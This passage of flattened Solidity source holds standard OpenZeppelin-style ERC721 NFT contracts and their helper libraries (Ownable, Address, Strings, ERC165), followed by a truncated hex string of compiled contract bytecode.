tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "./extensions/IERC721Enumerable.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106102065760003560e01c80636c0360eb1161011a5780639e2d7968116100ad578063c850f09a1161007c578063c850f09a14610424578063c87b56dd1461042c578063e985e9c51461043f578063f2fde38b14610452578063fd9fc93e1461046557610206565b80639e2d7968146103d8578063a1448194146103eb578063a22cb465146103fe578063b88d4fde1461041157610206565b80638832e6e3116100e95780638832e6e3146103ad5780638da5cb5b146103c057806395d89b41146103c85780639d37c635146103d057610206565b80636c0360eb1461037757806370a082311461037f578063715018a61461039257806385604d891461039a57610206565b80632f745c591161019d5780634684d7e91161016c5780634684d7e9146103185780634f558e791461032b5780634f6ccce71461033e57806355f804b3146103515780636352211e1461036457610206565b80632f745c59146102cc5780633593cebc146102df57806340c10f19146102f257806342842e0e1461030557610206565b806318160ddd116101d957806318160ddd1461027e57806323b872dd146102935780632607aafa146102a65780632bc7fcd3146102b957610206565b806301ffc9a71461020b57806306fdde0314610234578063081812fc14610249578063095ea7b314610269575b600080fd5b61021e610219366004611cf2565b610478565b60405161022b9190611eae565b60405180910390f35b61023c6104a5565b60405161022b9190611eb9565b61025c610257366004611d97565b610537565b60405161022b9190611e5d565b61027c610277366004611bb6565b610583565b005b61028661061b565b60405161022b9190612500565b61027c6102a1366004611a8f565b610621565b61023c6102b4366004611d97565b610659565b61027c6102c73660046119e7565b61071f565b6102866102da366004611bb6565b610780565b61027c6102ed366004611a33565b6107d2565b61027c610300366004611bb6565b610826565b61027c610313366004611a8f565b610834565b61027c610326366004611b30565b61084f565b61021e610339366004611d97565b61089c565b61028661034c366004611d97565b6108a7565b61027c61035f366004611d2a565b610902565b61025c610372366004611d97565b61094d565b61023c610982565b61028661038d3660046119e7565b610991565b61027c6109d5565b61023c6103a8366004611d97565b610a5e565b61027c6103bb366004611bdf565b610a9f565b61025c610aaa565b61023c610ab9565b610286610ac8565b61027c6103e6366004611daf565b610ace565b61027c6103f9366004611bb6565b610b7b565b61027c61040c366004611b7c565b610b85565b61027c61041f366004611aca565b610c53565b61025c610c8c565b61023c61043a366004611d97565b610c9b565b61021e61044d366004611a01565b610d1e565b61027c6104603660046119e7565b610d4c565b61027c610473366004611c2a565b610e0d565b60006001600160e01b0319821663780e9d6360e01b148061049d575061049d82610ea3565b90505b919050565b6060600080546104b4906125f1565b80601f01602080910402602001604051908101604052809291908181526020018280546104e0906125f1565b801561052d5780601f106105025761010080835404028352916020019161052d565b820191906000526020600020905b81548152906001019060200180831161051057829003601f168201915b5050505050905090565b600061054282610ee3565b6105675760405162461bcd60e51b815260040161055e90612218565b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061058e8261094d565b9050806001600160a01b0316836001600160a01b031614156105c25760405162461bcd60e51b815260040161055e90612331565b806001600160a01b03166105d4610f00565b6001600160a01b031614806105f057506105f08161044d610f00565b61060c5760405162461bcd60e51b815260040161055e906120f3565b6106168383610f04565b505050565b60085490565b61063261062c610f00565b82610f72565b61064e5760405162461bcd60e51b815260040161055e90612372565b610616838383610ff7565b6060610663610ac8565b82106106815760405162461bcd60e51b815260040161055e906123c3565b6000828152600c60205260409020805461069a906125f1565b80601f01602080910402602001604051908101604052809291908181526020018280546106c6906125f1565b80156107135780601f106106e857610100808354040283529160200191610713565b820191906000526020600020905b8154815290600101906020018083116106f657829003601f168201915b50505050509050919050565b610727610f00565b6001600160a01b0316610738610aaa565b6001600160a01b03161461075e5760405162461bcd60e51b815260040161055e90612264565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b600061078b83610991565b82106107a95760405162461bcd60e51b815260040161055e90611ecc565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b60005b815181101561082057610810848484848151811061080357634e487b7160e01b600052603260045260246000fd5b6020026020010151610ff7565b6108198161262c565b90506107d5565b50505050565b6108308282611124565b5050565b61061683838360405180602001604052806000815250610c53565b60005b81518110156106165761088c8383838151811061087f57634e487b7160e01b600052603260045260246000fd5b6020026020010151611124565b6108958161262c565b9050610852565b600061049d82610ee3565b60006108b161061b565b82106108cf5760405162461bcd60e51b815260040161055e9061240d565b600882815481106108f057634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b61090a610f00565b6001600160a01b031661091b610aaa565b6001600160a01b0316146109415760405162461bcd60e51b815260040161055e90612264565b610616600b83836117ec565b6000818152600260205260408120546001600160a01b03168061049d5760405162461bcd60e51b815260040161055e9061219a565b606061098c611203565b905090565b60006001600160a01b0382166109b95760405162461bcd60e51b815260040161055e90612150565b506001600160a01b031660009081526003602052604090205490565b6109dd610f00565b6001600160a01b03166109ee610aaa565b6001600160a01b031614610a145760405162461bcd60e51b815260040161055e90612264565b600a546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600a80546001600160a01b0319169055565b6060610a68610ac8565b8210610a865760405162461bcd60e51b815260040161055e906123c3565b6000828152600d60205260409020805461069a906125f1565b610616838383611212565b600a546001600160a01b031690565b6060600180546104b4906125f1565b600e5490565b610adf610ad9610f00565b84610f72565b610afb5760405162461bcd60e51b815260040161055e906120ad565b6000838152600c602090815260409091208351610b1a92850190611870565b506000838152600d602090815260409091208251610b3a92840190611870565b507f5b30a58fa8f8ef0701c05ca601e90c5e2d61e1527641a242fbc1f9932a8e5fd0838383604051610b6e93929190612509565b60405180910390a1505050565b6108308282611245565b610b8d610f00565b6001600160a01b0316826001600160a01b03161415610bbe5760405162461bcd60e51b815260040161055e9061202a565b8060056000610bcb610f00565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155610c0f610f00565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610c4